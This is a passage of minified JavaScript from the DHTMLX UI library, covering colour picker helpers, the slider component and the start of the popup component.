a=Math.max(o,n,e),h=Math.min(o,n,e);c=0.5*(a+h);if(a==h){m=0}else{if(a==o){m=60*(n-e)/(a-h);if(n<e){m+=360}}else{if(a==n){m=60*(e-o)/(a-h)+120}else{m=60*(o-n)/(a-h)+240}}}if(c==0||a==h){l=0}else{if(c<=0.5){l=0.5*(a-h)/c}else{l=0.5*(a-h)/(1-c)}}return{h:m,s:l,l:c}},hsl2rgb:function(o,e,m){var h,l,n;var c=[],a=[];if(m<=0.5){h=m*(1+e)}else{h=m+e-(m*e)}l=2*m-h;n=o/360;c.push(n+1/3);c.push(n);c.push(n-1/3);for(var g=0;g<3;g++){if(c[g]<0){c[g]+=1}else{if(c[g]>1){c[g]-=1}}if(c[g]<1/6){a.push(l+(h-l)*6*c[g])}else{if(c[g]<0.5){a.push(h)}else{if(c[g]<2/3){a.push(l+(h-l)*(2/3-c[g])*6)}else{a.push(l)}}}}return{r:a[0],g:a[1],b:a[2]}}};dhtmlXColorPicker.prototype._checkIeVersion=function(){var a;var c=navigator.userAgent.match(/(MSIE)\\s(\\d\\.\\d)/i);a=(c&&c[2])?parseInt(c[2]):null;return a};dhtmlXColorPicker.prototype.setCustomColors=function(){if(this.memory==null){this.initMemoryColors();this.conf.customColors=true}var g,e,m,c,h,a;e=arguments.length;for(g=0;g<e;g++){if(arguments[g] instanceof Array){m=this._rgb2value(arguments[g][0],arguments[g][1],arguments[g][2]);this.memory.setValue(m,null,false);continue}else{if(typeof(arguments[g])==\"string\"){c=arguments[g].match(/^rgb\\((\\d{1,3})\\,(\\d{1,3})\\,(\\d{1,3})\\)$/i);if(c instanceof Array){m=this._rgb2value(c[1],c[2],c[3]);this.memory.setValue(m,null,false);continue}c=arguments[g].match(/(#[\\da-f]{6})/ig);if(c instanceof Array){a=c.length;for(h=0;h<a;h++){m=this._hex2value(c[h]);this.memory.setValue(m,null,false)}}}}}};dhtmlXColorPicker.prototype.getCustomColors=function(){var c=[];if(this.memory!=null&&this.conf.customColors==true){for(var e=0;e<this.memory.controllers.length;e++){var a=this.memory.controllers[e].value;c.push(this.colorAIP.rgb2hex({r:a.red,g:a.green,b:a.blue}))}}return c};dhtmlXColorPicker.prototype._rgb2value=function(h,e,a){var c=this.colorAIP.rgb2hsl(h/255,e/255,a/255);return{red:h,green:e,blue:a,hue:Math.round(c.h),sat:Math.round(c.s*100),lum:Math.round(c.l*100)}};dhtmlXColorPicker.prototype._hex2value=function(e){var c,a;c=this.colorAIP.hex2rgb(e);a=this.colorAIP.rgb2hsl(c.r/255,c.g/255,c.b/255);return{red:c.r,green:c.g,blue:c.b,hue:Math.round(a.h),sat:Math.round(a.s*100),lum:Math.round(a.l*100)}};dhtmlXColorPicker.prototype.showMemory=function(){if(this.memory==null){this.initMemoryColors()}if(!this._globalNode.className.match(/dhxcp_add_memory/)){this._globalNode.className+=\" dhxcp_add_memory\"}this.conf.customColors=true};dhtmlXColorPicker.prototype.hideMemory=function(){if(this.memory!=null){this._globalNode.className=this._globalNode.className.replace(/\\sdhxcp_add_memory/,\"\")}this.conf.customColors=false};dhtmlXColorPicker.prototype.setSkin=function(h){h=h.toLowerCase();var e,c=-1,a,g=\"dhtmlxcp\";e=this.base.className.match(/\\S\\w+/ig);if(e instanceof Array){for(a in this._skinCollection){if(c==-1){c=this._indexOf(e,g+\"_\"+a)}else{break}}c=(c==-1)?e.length:c}else{e=[];c=0}e[c]=g+\"_\"+h;this.base.className=e.join(\" \");this.skin=h};dhtmlXColorPicker.prototype.hideOnSelect=function(a){a=dhx4.s2b(a);this.conf.hideOnSelect=a};dhtmlXColorPicker.prototype._indexOf=function(a,g){var e,c,h=-1;c=a.length;for(e=c;e>=0;e--){if(a[e]==g){h=e;break}}return h};dhtmlXColorPicker.prototype.destructMemory=function(){if(this.memory==null){return}this.hideMemory();var a=this._controllerNodes.memory_block.childNodes[0].firstChild;this._labelNodes.btnAddColor=null;if(typeof(window.addEventListener)==\"function\"){a.removeEventListener(\"click\",this.saveColor,false)}else{a.detachEvent(\"onclick\",this.saveColor)}this.memory.remove();this._controllerNodes.memory_block.innerHTML=\"\";this.memory=null};dhtmlXColorPicker.prototype.Memory=function(e){var c=this,a=null,g={red:255,blue:255,green:255,hue:0,sat:0,lum:100};this.select=function(){var l=(this!=window)?this:event.srcElement;var h=h||l.dhxpc_memory;if(a!=null){c.unSelect()}a=h;h.domElement.className+=\" dhxcp_memory_el_select\";if(typeof(c.onSelect)==\"function\"){c.onSelect(h)}};this.onSelect=null;this.onSave=null;this._createMemoryController=function(h){var l={domElement:h,value:dhx4._copyObj(g)};h.dhxpc_memory=l;if(typeof(window.addEventListener)==\"function\"){h.addEventListener(\"click\",c.select,false)}else{h.attachEvent(\"onclick\",c.select)}return l};this._findMemoryControllers=function(q){var n=q.getElementsByTagName(\"a\"),m,h,o=[];h=n.length;for(m=0;m<h;m++){o.push(this._createMemoryController(n[m]))}return o};this.controllers=this._findMemoryControllers(e);this.unSelect=function(){if(a){a.domElement.className=a.domElement.className.replace(/\\s.*$/i,\"\")}a=null};this.setActiveNext=function(){var m=null,h;if(a==null){a=this.controllers[0]}else{m=this.getIndex(a);h=this.controllers.length;this.unSelect();a=(m+1<h)?this.controllers[m+1]:this.controllers[0]}a.domElement.className+=\" dhxcp_memory_el_next\";return a};this.setValue=function(l,h,m){a=h||a;if(a==null){a=this.controllers[0]}a.value.red=l.red;a.value.blue=l.blue;a.value.green=l.green;a.value.hue=l.hue;a.value.sat=l.sat;a.value.lum=l.lum;a.domElement.style.backgroundColor=\"rgb(\"+[l.red,l.green,l.blue].join(\", \")+\")\";this.setActiveNext();if((m!=false)&&(typeof(this.onSave)==\"function\")){this.onSave(l)}};this.clean=function(){var h=this.controllers.length,n;for(var m=0;m<h;m++){n=this.controllers[m];n.value=dhx4._copyObj(g);n.domElement.style.backgroundColor=\"rgb(\"+[g.red,g.green,g.blue].join(\", \")+\")\"}this.unSelect();a=this.controllers[0]};this.getIndex=function(n){var m,h,o=-1;h=this.controllers.length;for(m=0;m<h;m++){if(this.controllers[m]==n){o=m;break}}return o};this.remove=function(){var m,h;h=this.controllers.length;for(m=0;m<h;m++){if(typeof(window.addEventListener)==\"function\"){this.controllers[m].domElement.removeEventListener(\"click\",this.select,false)}else{this.controllers[m].domElement.detachEvent(\"onclick\",this.select)}delete this.controllers[m].domElement.dhxpc_memory}delete this.onSelect;delete this.controllers;delete this.onSave}};if(window.dhx4.isIE6){dhtmlXColorPicker.prototype._cpInitFRM=function(){var a;if(!this._controllerNodes.fr_cover){a=document.createElement(\"IFRAME\");a.className=\"dhxcp_frm\";a.border=0;a.frameBorder=0;this._controllerNodes.fr_cover=a}if(!this.base._dhx_remove){this.base.insertBefore(a,this._globalNode)}}}function dhtmlXSlider(c){var a=this;this.conf={size:null,skin:null,vertical:false,min:0,max:99,value:0,step:1,decimals:0,margin:2,border:1,inverse:false,disabled:false,tooltip:false,visible:true,linkTo:null,range:false,bg:null,bg_mode:\"left\"};this._attachedNode={};this._movingInitialValues=null;this.base=null;if(arguments.length>1){return new dhtmlXSlider(this._renderArgumets(arguments))}else{if(typeof(c)==\"string\"||(typeof(c)==\"object\"&&c.tagName)){return new dhtmlXSlider({parent:c})}}if(typeof(c.parent)==\"string\"){this.base=document.getElementById(c.parent)}else{this.base=c.parent}this._mergeConfig(this._readAttFormNode(this.base));this._mergeConfig(c);if(this.conf.bg==null){this.conf.bg=(this.conf.range==true)}if(this.conf.range==true){if(!(this.conf.value instanceof Array)){this.conf.value=[this.conf.value]}if(this.conf.value.length<2){this.conf.value.push(this.conf.value[0])}if(!(this.conf.linkTo instanceof Array)){this.conf.linkTo=[this.conf.linkTo]}}this._detectDecimals();if(this.conf.size==null||typeof(this.conf.size)==\"undefined\"){if(this.conf.vertical){this.conf.size=this.base.offsetHeight}else{this.conf.size=this.base.offsetWidth}}var e=this.conf.skin||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxslider\")||\"dhx_skyblue\";this.setSkin(e);this.base.innerHTML=\"<div class='dhxsl_container'><div class='dhxsl_track'>\"+(this.conf.bg==true?\"<div class='dhxsl_track_bg'></div>\":\"\")+\"</div><div class='dhxsl_runner'></div>\"+(this.conf.range==true?\"<div class='dhxsl_runner'></div>\":\"\")+\"</div>\";this._nodes={cont:this.base.firstChild,track:this.base.firstChild.firstChild,runner:this.base.firstChild.childNodes[1],runner2:this.base.firstChild.childNodes[2]};this._nodes.cont.onmousedown=this._nodes.track.onmousedown=this._nodes.cont.onselectstart=this._nodes.track.onselectstart=function(g){g=g||event;if(typeof(g.preventDefault)==\"function\"){g.preventDefault()}else{g.returnValue=false}return false};this._r_actv=null;if(this.conf.range==true){this.conf.value=this._normalizeRange(this.conf.value,this.conf.min,this.conf.max)}else{this.conf.value=this._normalize(this.conf.value,this.conf.min,this.conf.max)}this._setOrient(this.conf.vertical);this.setSize(this.conf.size);this._initMover=function(l,g){if(a.conf.disabled){return}l=l||event;if(typeof(l.preventDefault)==\"function\"){l.preventDefault()}if(g!=null){a._r_actv=a._nodes[g==0?\"runner\":\"runner2\"]}else{a._r_actv=l.target||l.srcElement;if(a._r_actv.className.indexOf(\"dhxsl_runner\")==-1){a._r_actv=a._nodes.runner}}a._r_actv.className=\"dhxsl_runner dhxsl_runner_actv\";var h=(l.type==\"mousedown\"?\"client\":\"page\")+(a.conf.vertical?\"Y\":\"X\");a._movingInitialValues={};if(a.conf.range==true){a._movingInitialValues.index=(a._r_actv==a._nodes.runner?0:1);a._movingInitialValues.value=a.conf.value[a._movingInitialValues.index]}else{a._movingInitialValues.value=a.conf.value}a._movingInitialValues.coord=(typeof(l[h])!=\"undefined\"?l[h]:l.touches[0][h]);if(a.conf.disabled==false){if(typeof(window.addEventListener)==\"function\"){window.addEventListener(\"mousemove\",a._move,false);window.addEventListener(\"mouseup\",a._cleanMove,false);window.addEventListener(\"touchmove\",a._move,false);window.addEventListener(\"touchend\",a._cleanMove,false)}else{document.body.attachEvent(\"onmousemove\",a._move);document.body.attachEvent(\"onmouseup\",a._cleanMove)}}a.callEvent(\"onMouseDown\",[a._r_actv==a._nodes.runner?0:1]);return false};this._move=function(q){if(a.conf.disabled){return}q=q||event;if(typeof(q.preventDefault)==\"function\"){q.preventDefault()}var n=(q.type==\"mousemove\"?\"client\":\"page\")+(a.conf.vertical?\"Y\":\"X\");var o=(a.conf.vertical)?a._r_actv.offsetHeight:a._r_actv.offsetWidth;var l=a.conf.max-a.conf.min;var h=(typeof(q[n])!=\"undefined\"?q[n]:q.touches[0][n]);var m=a._movingInitialValues.value+(h-a._movingInitialValues.coord)*l/(a.conf.size-o)*(a.conf.inverse?-1:1);if(a.conf.range==true){var g=[a.conf.value[0],a.conf.value[1]];if(a._movingInitialValues.index==0){g[0]=Math.min(g[1],m)}else{if(a._movingInitialValues.index==1){g[1]=Math.max(g[0],m)}}a.setValue(g,true)}else{a.setValue(m,true)}};this._cleanMove=function(g){if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"mousemove\",a._move,false);window.removeEventListener(\"mouseup\",a._cleanMove,false);window.removeEventListener(\"touchmove\",a._move,false);window.removeEventListener(\"touchend\",a._cleanMove,false)}else{document.body.detachEvent(\"onmousemove\",a._move);document.body.detachEvent(\"onmouseup\",a._cleanMove)}a._movingInitialValues=null;a._r_actv.className=a._r_actv.className.replace(/\\s{0,}dhxsl_runner_actv/gi,\"\");a.callEvent(\"onSlideEnd\",[a.conf.value]);a.callEvent(\"onMouseUp\",[a._r_actv==a._nodes.runner?0:1]);a._r_actv=null};this._doOnSetValue=function(r){if(a.conf.disabled){return}if(a._movingInitialValues!=null){return false}r=r||event;if(typeof(r.preventDefault)==\"function\"){r.preventDefault()}var q=0;var m=r.target||r.srcElement;if(m.className.match(/dhxsl_track_bg/)!=null){q=parseInt(m.style[a.conf.vertical?\"top\":\"left\"])}var o=(a.conf.vertical?(r.offsetY||r.layerY):(r.offsetX||r.layerX))+q;var n=(a.conf.vertical?a._nodes.runner.offsetHeight:a._nodes.runner.offsetWidth)+q;var g=a.conf.max-a.conf.min;var h=null;var l=null;if(a.conf.inverse==true){l=a.conf.max-(o*g/(a.conf.size))}else{l=(o*g/(a.conf.size)+a.conf.min)}if(a.conf.range==true){h=(Math.abs(a.conf.value[0]-l)<=Math.abs(a.conf.value[1]-l)?0:1);l=[h==0?l:a.conf.value[0],h==1?l:a.conf.value[1]]}a.conf.init_index=h;a.setValue(l,true);a.conf.init_index=null;if(a._movingInitialValues==null){a._initMover(r,h)}return false};this._doOnChangeInput=function(h){h=h||event;var g=h.target||h.srcElement;a.setValue(g.value)};this._doOnKeyDown=function(h){h=h||event;var g=h.target||h.srcElement;if(h.keyCode==13){a.setValue(g.value)}};this._attachEvents(this._nodes);this.unload=function(){dhx4._eventable(this,\"clear\");this._detachNode();this._detachEvents(this._nodes);this.base.removeChild(this._nodes.cont);this._nodes.cont.onmousedown=this._nodes.track.onmousedown=this._nodes.cont.onselectstart=this._nodes.track.onselectstart=null;delete this._nodes.cont;delete this._nodes.track;delete this._nodes.max;delete this._nodes.min;delete this._nodes.runner;if(this._nodes.runner2){delete this._nodes.runner2}if(/\\s?dhtmlxslider_\\S*/.test(this.base.className)){this.base.className=this.base.className.replace(/\\s?dhtmlxslider_\\S*/,\"\")}for(var g in this){this[g]=null}a=null};dhx4._eventable(this);if(this.conf.disabled){this.disable()}if(this.conf.tooltip){this.enableTooltip()}if(!this.conf.visible){this.hide()}if(this.conf.linkTo){this.linkTo(this.conf.linkTo)}return this}dhtmlXSlider.prototype._setOrient=function(a){a=a||false;if(/\\s?dhxsl_cont_hr/i.test(this._nodes.cont.className)){this._nodes.cont.className=this._nodes.cont.className.replace(/\\s?dhxsl_cont_hr/i,\"\")}if(/\\s?dhxsl_cont_vr/i.test(this._nodes.cont.className)){this._nodes.cont.className=this._nodes.cont.className.replace(/\\s?dhxsl_cont_vr/i,\"\")}if(a){this._nodes.cont.className+=\" dhxsl_cont_vr\"}else{this._nodes.cont.className+=\" dhxsl_cont_hr\"}};dhtmlXSlider.prototype._attachEvents=function(a){if(typeof(window.addEventListener)==\"function\"){a.runner.addEventListener(\"mousedown\",this._initMover,false);a.runner.addEventListener(\"touchstart\",this._initMover,false);a.cont.addEventListener(\"mousedown\",this._doOnSetValue,false);a.cont.addEventListener(\"touchstart\",this._doOnSetValue,false);if(a.runner2){a.runner2.addEventListener(\"mousedown\",this._initMover,false);a.runner2.addEventListener(\"touchstart\",this._initMover,false)}}else{a.runner.attachEvent(\"onmousedown\",this._initMover);a.cont.attachEvent(\"onmousedown\",this._doOnSetValue);if(a.runner2){a.runner2.attachEvent(\"onmousedown\",this._initMover)}}};dhtmlXSlider.prototype._detachEvents=function(a){if(typeof(window.addEventListener)==\"function\"){a.runner.removeEventListener(\"mousedown\",this._initMover,false);a.runner.removeEventListener(\"touchstart\",this._initMover,false);a.cont.removeEventListener(\"mousedown\",this._doOnSetValue,false);a.cont.removeEventListener(\"touchstart\",this._doOnSetValue,false);if(a.runner2){a.runner2.removeEventListener(\"mousedown\",this._initMover,false);a.runner2.removeEventListener(\"touchstart\",this._initMover,false)}}else{a.runner.detachEvent(\"onmousedown\",this._initMover);a.cont.detachEvent(\"onmousedown\",this._doOnSetValue);if(a.runner2){a.runner2.detachEvent(\"onmousedown\",this._initMover)}}};dhtmlXSlider.prototype._mergeConfig=function(c){for(var a in c){switch(a.toLowerCase()){case\"min\":case\"max\":case\"size\":case\"step\":case\"value\":case\"inverse\":this.conf[a]=c[a];break;case\"tooltip\":case\"visible\":case\"vertical\":case\"disabled\":case\"range\":case\"bg\":this.conf[a]=dhx4.s2b(c[a]);break;case\"bg_mode\":this.conf[a]=({left:\"left\",right:\"right\"}[c[a]])||\"left\";break;case\"parent\":continue;break;default:this.conf[a]=c[a]}}};dhtmlXSlider.prototype._readAttFormNode=function(g){var m=g.attributes,a=m.length,e,h={},c;for(e=0;e<a;e++){c=m[e];switch(c.name.toLowerCase()){case\"size\":case\"min\":case\"max\":case\"value\":case\"step\":h[c.name]=Number(c.value);break;case\"skin\":h[c.name]=c.value;break;case\"vertical\":case\"disabled\":case\"visible\":case\"range\":case\"bg\":h[c.name]=dhx4.s2b(c.value);break;case\"linkto\":h[c.name]=c.value;break;case\"tooltip\":h[c.name]=dhx4.s2b(c.value);break;case\"bg_mode\":h[c.name]=({left:\"left\",right:\"right\"}[c.value])||\"left\";break}}return h};dhtmlXSlider.prototype._renderArgumets=function(a){var g={},e,c;c=a.length;for(e=0;e<c;e++){switch(e){case 0:g.parent=a[e];break;case 1:g.size=a[e];break;case 2:g.skin=a[e];break;case 3:g.vertical=a[e];break;case 4:g.min=a[e];break;case 5:g.max=a[e];break;case 6:g.value=a[e];break;case 7:g.step=a[e];break}}return g};dhtmlXSlider.prototype._skinCollection={dhx_skyblue:true,dhx_web:true,dhx_terrace:true};dhtmlXSlider.prototype._indexOf=function(a,g){var e,c,h=-1;c=a.length;for(e=c;e>=0;e--){if(a[e]==g){h=e;break}}return h};dhtmlXSlider.prototype._refreshRunner=function(h){var g=(this.conf.vertical==true?{x:\"top\",y:\"left\",ofs_w:\"offsetHeight\",ofs_h:\"offsetWidth\"}:{x:\"left\",y:\"top\",ofs_w:\"offsetWidth\",ofs_h:\"offsetHeight\"});var a=this._nodes.cont[g.ofs_w]-this._nodes.runner[g.ofs_w];var e=this._nodes.runner;var c=this._nodes.runner2;if(h==null||h==0){var l=this._getCoord(a,(this.conf.value instanceof Array?this.conf.value[0]:this.conf.value));e.style[g.x]=l+this.conf.border+\"px\";e.style[g.y]=Math.round((this._nodes.cont[g.ofs_h]-e[g.ofs_h])/2)+\"px\"}if(this.conf.range==true&&(h==null||h==1)){var l=this._getCoord(a,this.conf.value[1]);c.style[g.x]=l+this.conf.border+\"px\";c.style[g.y]=Math.round((this._nodes.cont[g.ofs_h]-e[g.ofs_h])/2)+\"px\"}if(this.conf.range==true){if(e.style[g.x]==c.style[g.x]&&this.conf.value[1]==this.conf.max){if(e.style.zIndex!=2){e.style.zIndex=2}}else{if(e.style.zIndex==2){e.style.zIndex=1}}}e=c=null;this._refreshBG()};dhtmlXSlider.prototype._setValueByCoord=function(g){var a=dhx4.absLeft(this._nodes.cont),h=dhx4.absTop(this._nodes.cont),e,c;if(this.conf.vertical){c=(g.y-h-this._nodes.runner.offsetHeight/2)/(this._nodes.cont.offsetHeight-this._nodes.runner.offsetHeight)}else{c=(g.x-a-this._nodes.runner.offsetWidth/2)/(this._nodes.cont.offsetWidth-this._nodes.runner.offsetWidth)}e=(this.conf.max-this.conf.min)*c+this.conf.min;this.setValue(e,true)};dhtmlXSlider.prototype._getCoord=function(a,g){var e=(this.conf.inverse?this._inverseValue(g):g);var c=(e-this.conf.min)/(this.conf.max-this.conf.min);return Math.round(a*c)};dhtmlXSlider.prototype._normalize=function(g,e,a){g=Number(g);g=Math.round(g/this.conf.step)*this.conf.step;var c=Math.pow(10,this.conf.decimals);g=Math.round(g*c)/c;g=Math.max(e,Math.min(a,g));return g};dhtmlXSlider.prototype._normalizeRange=function(e,c,a){if(e[1]<e[0]){e[1]=e[0]}e[0]=this._normalize(e[0],c,Math.min(a,e[1]));e[1]=this._normalize(e[1],Math.max(c,e[0]),a);return e};dhtmlXSlider.prototype._refreshBG=function(){if(this.conf.bg!=true){return}var g=this._nodes.track.firstChild;var e=this._nodes.runner;var a=e.nextSibling;var c=(this.conf.vertical==true?{x:\"top\",w:\"height\",ofs:\"offsetHeight\"}:{x:\"left\",w:\"width\",ofs:\"offsetWidth\"});if(this.conf.range==true){g.style[c.x]=Math.floor(parseInt(e.style[c.x])+e[c.ofs]/2)+\"px\";g.style[c.w]=Math.max(Math.floor(parseInt(a.style[c.x])+a[c.ofs]/2)-parseInt(g.style[c.x]),0)+\"px\"}else{var h=(this.conf.inverse==true?{left:\"right\",right:\"left\"}[this.conf.bg_mode]:this.conf.bg_mode);g.style[c.x]=(h==\"left\"?\"0\":Math.floor(parseInt(e.style[c.x])+e[c.ofs]/2))+\"px\";g.style[c.w]=(h==\"left\"?Math.floor(parseInt(e.style[c.x])+e[c.ofs]/2):this._nodes.track[c.ofs]-parseInt(g.style[c.x]))+\"px\"}g=e=a=null};dhtmlXSlider.prototype._attachNode=function(e,a){this._detachNode(a);var c=e.tagName.toLowerCase();if(!c){return}this._attachedNode[\"node_\"+a]=e;switch(c){case\"input\":case\"select\":if(typeof(window.addEventListener)==\"function\"){e.addEventListener(\"change\",this._doOnChangeInput,false);e.addEventListener(\"keydown\",this._doOnKeyDown,false)}else{e.attachEvent(\"onchange\",this._doOnChangeInput);e.attachEvent(\"onkeydown\",this._doOnKeyDown)}this._attachedNode.setValue=function(m,g,l){var h=(m instanceof Array?m[l||0]:m);this[\"node_\"+(l||0)].value=dhtmlXSlider.prototype._atatchedNodeFixDec(h,g)};break;default:this._attachedNode.setValue=function(m,g,l){var h=(m instanceof Array?m[l||0]:m);this[\"node_\"+(l||0)].innerHTML=dhtmlXSlider.prototype._atatchedNodeFixDec(h,g)}}this._attachedNode.setValue(this.conf.value,this.conf.decimals,a)};dhtmlXSlider.prototype._detachNode=function(a){var e=this._attachedNode[\"node_\"+a];if(!e){return}var c=e.tagName;switch(c){case\"input\":case\"select\":if(typeof(window.addEventListener)==\"function\"){e.removeEventListener(\"change\",this._doOnChangeInput,false);e.removeEventListener(\"keydown\",this._doOnChangeInput,false)}else{e.detachEvent(\"change\",this._doOnChangeInput);e.detachEvent(\"keydown\",this._doOnChangeInput)}break}delete this._attachedNode[\"node_\"+a];delete this._attachedNode.setValue;e=null};dhtmlXSlider.prototype._atatchedNodeFixDec=function(g,a){g=String(g);if(a>0){var c=g.match(/\\.\\d{1,}$/);if(c!=null){a=Math.max(a-c[0].length+1)}g+=(g.indexOf(\".\")<0?\".\":\"\");for(var e=0;e<a;e++){g+=\"0\"}}return g};dhtmlXSlider.prototype._detectDecimals=function(){var a=this.conf.step.toString().match(/\\.(\\d*)$/);this.conf.decimals=(a!=null?a[1].length:0)};dhtmlXSlider.prototype.setSize=function(a){if(!isNaN(a)){if(this.conf.vertical){if(this._nodes.cont.style.width){delete this._nodes.cont.style.width}this._nodes.cont.style.height=a-this.conf.margin+\"px\"}else{if(this._nodes.cont.style.height){delete this._nodes.cont.style.height}this._nodes.cont.style.width=a-this.conf.margin+\"px\"}this._refreshRunner()}};dhtmlXSlider.prototype.setSkin=function(h){h=h.toLowerCase();var e,c=-1,a,g=\"dhtmlxslider\";e=this.base.className.match(/\\S\\w+/ig);if(e instanceof Array){for(a in this._skinCollection){if(c==-1){c=this._indexOf(e,g+\"_\"+a)}else{break}}c=(c==-1)?e.length:c}else{e=[];c=0}e[c]=g+\"_\"+h;this.base.className=e.join(\" \");this.conf.skin=h;if(this._nodes){this._refreshRunner()}};dhtmlXSlider.prototype.setValue=function(g,h){h=h||false;var c=null;var e=false;if(this.conf.range==true){if(this._r_actv!=null){c=(this._r_actv==this._nodes.runner?0:1)}g=this._normalizeRange(g,this.conf.min,this.conf.max);e=(this.conf.value[0]!=g[0]||this.conf.value[1]!=g[1])}else{g=this._normalize(g,this.conf.min,this.conf.max);e=(this.conf.value!=g)}if(e=true){this.conf.value=g;this._refreshRunner(c);this._refreshTooltip();if(h){var a=[g,this];if(this.conf.range==true){if(this._r_actv!=null){a.push(this._r_actv==this._nodes.runner?0:1)}else{if(this.conf.init_index!=null){a.push(this.conf.init_index.valueOf())}}}this.callEvent(\"onChange\",a)}}if(typeof(this._attachedNode.setValue)==\"function\"){if(c==null){c=this.conf.init_index}this._attachedNode.setValue(this.conf.value,this.conf.decimals,c)}};dhtmlXSlider.prototype.getValue=function(){if(this.conf.range==true){return[this.conf.value[0].valueOf(),this.conf.value[1].valueOf()]}else{return this.conf.value.valueOf()}};dhtmlXSlider.prototype._inverseValue=function(a){return this.conf.max+this.conf.min-a};dhtmlXSlider.prototype.disable=function(h){h=(h==false)?false:true;var g=null;if(h){for(var c in this._nodes){if(c==\"cont\"){continue}var e=(c==\"runner2\"?\"runner\":c);if(this._nodes[c]!=null){g=new RegExp(\"\\\\s?dhxsl_\"+e+\"_dis\",\"i\");if(!g.test(this._nodes[c].className)){this._nodes[c].className+=\" dhxsl_\"+e+\"_dis\"}}}this.conf.disabled=true}else{this.enable()}};dhtmlXSlider.prototype.enable=function(){var g;for(var c in this._nodes){if(c==\"cont\"){continue}var e=(c==\"runner2\"?\"runner\":c);if(this._nodes[c]!=null){g=new RegExp(\"\\\\s?dhxsl_\"+e+\"_dis\",\"i\");if(g.test(this._nodes[c].className)){this._nodes[c].className=this._nodes[c].className.replace(g,\"\")}}}this.conf.disabled=false};dhtmlXSlider.prototype.isEnabled=function(){return !this.conf.disabled};dhtmlXSlider.prototype.disableTooltip=function(){this._nodes.cont.removeAttribute(\"title\");this.conf.tooltip=false};dhtmlXSlider.prototype.enableTooltip=function(a){if(typeof(a)==\"undefined\"){a=true}else{a=dhx4.s2b(a)}if(a){this.conf.tooltip=true;this._refreshTooltip()}else{this.disableTooltip()}};dhtmlXSlider.prototype.setMax=function(a){if(!isNaN(a)&&this.conf.min<a){this.conf.max=a;this.setValue(this.conf.value)}};dhtmlXSlider.prototype.getMax=function(){return this.conf.max};dhtmlXSlider.prototype.setMin=function(a){if(!isNaN(a)&&this.conf.max>a){this.conf.min=a;this.setValue(this.conf.value)}};dhtmlXSlider.prototype.getMin=function(){return this.conf.min};dhtmlXSlider.prototype.setStep=function(a){var c=this.conf.max-this.conf.min;if(!isNaN(a)&&a<c){this.conf.step=a;this._detectDecimals();this.setValue(this.conf.value)}};dhtmlXSlider.prototype.getStep=function(){return this.conf.step};dhtmlXSlider.prototype.show=function(){if(/\\s?dhxsl_hidden/i.test(this._nodes.cont.className)){this._nodes.cont.className=this._nodes.cont.className.replace(/\\s?dhxsl_hidden/i,\"\")}this.conf.visible=true};dhtmlXSlider.prototype.hide=function(){if(!/\\s?dhxsl_hidden/i.test(this._nodes.cont.className)){this._nodes.cont.className+=\" dhxsl_hidden\"}this.conf.visible=false};dhtmlXSlider.prototype.isVisible=function(){return this.conf.visible};dhtmlXSlider.prototype.linkTo=function(a){if(!(a instanceof Array)){a=[a]}for(var c=0;c<a.length&&c<2;c++){if(a[c]!=null){if(typeof(a[c])==\"string\"){a[c]=document.getElementById(a[c])}this._attachNode(a[c],c)}}};dhtmlXSlider.prototype._refreshTooltip=function(){if(this.conf.tooltip==true){if(this.conf.value instanceof Array){this._nodes.cont.title=this.conf.value.join(\", \")}else{this._nodes.cont.title=this.conf.value}}};dhtmlXSlider.prototype.getRunnerIndex=function(){if(this._r_actv==null){return -1}return(this._r_actv==this._nodes.runner?0:1)};function dhtmlXPopup(e){var g=this;this.conf=e||{};e=null;this.mode=(this.conf.mode||\"bottom\");this.conf.zi=window.dhx4.newId();this.conf.context=(this.conf.context==null?true:window.dhx4.s2b(this.conf.context));this.conf.IE6_display_fix=(this.conf.IE6_display_fix==null?false:window.dhx4.s2b(this.conf.IE6_display_fix));this.conf.last_p_click=this.conf.last_body_click=null;this.p=document.createElement(\"DIV\");this.p.style.display=\"none\";this.p.innerHTML=\"<div class='dhx_popup_area\"+(window.dhx4.isIE?\" dhx_popup_area_ie\":\"\")+\"'><table cellspacing='0' cellpadding='0' border='0' class='dhx_popup_table'><tbody></tbody></table></div><div class='dhx_popup_arrow dhx_popup_arrow_\"+this.mode+\"'></div>\";document.body.appendChild(this.p);this.p.oncontextmenu=function(a){if(g.conf.context==false){a=a||event;a.returnValue=false;return false}};this.skinParams={dhx_terrace:{t0:19,t1:9,t2:19,t3:9},dhx_skyblue:{t0:12,t1:9,t2:12,t3:9},dhx_web:{t0:12,t1:9,t2:12,t3:9}};this.p.ontouchstart=this.p.onclick=function(l){l=l||event;var h=(g.conf.last_p_click!=null&&g.conf.last_p_click!=l.type);g.conf.last_p_click=l.type;if(h==true){return}g._clearClick=true;if(g._nodeObj!=null){g.callEvent(\"onContentClick\",[]);return true}var a=(l.target||l.srcElement);var m=null;while(a!=g.p&&a!=null){if(typeof(a._idd)!=\"undefined\"&&!a._isSeparator){m=a._idd;a=null}else{a=a.parentNode}}a=null;if(m!=null){g.callEvent(\"onClick\",[m]);if(g!=null&&g.isVisible!=null&&g.isVisible()&&g.callEvent(\"onBeforeHide\",[\"select\",l,m])===true){l.cancelBubble=true;g.hide()}}};this.separator=\"DHXSEP_\"+window.dhx4.newId();this.tpl=[];this._setTemplate=function(a){this.tpl=a.split(\",\")};this.show=function(h){var a=null;if(arguments.length==1){if(!h){h=this.conf.id[0]}else{if(!this._idExists(h)){return}}if(this.conf.toolbar){a=this.conf.toolbar._getItemDim(h)}if(this.conf.ribbon){a=this.conf.ribbon._getItemDim(h)}if(this.conf.form){a=this.conf.form._getItemDim(h)}}else{if(arguments.length==4){this._clearClick=true;a={left:arguments[0],top:arguments[1],width:arguments[2],height:arguments[3]};h=null}}if(!a){return}this.p.style.visibility=\"hidden\";this.p.style.display=\"\";this._setPos(a);this.p.style.zIndex=window.dhx4.zim.reserve(this.conf.zi);this.p.style.visibility=\"visible\";this._lastId=h;this.callEvent(\"onShow\",[h])};this._setPos=function(I,n){var v=I.left;var s=I.top;var C=I.width;var L=I.height;this._posData={left:v,top:s,width:C,height:L};var N=window.dhx4.screenDim();var F=n||this.mode;if(typeof(n)==\"undefined\"){n=false}var P={top:(s-this.p.offsetHeight)-N.top,bottom:N.bottom-(s+L+this.p.offsetHeight),left:v-this.p.offsetWidth-N.left,right:N.right-(v+C+this.p.offsetWidth)};if(!n&&P[F]<0){var 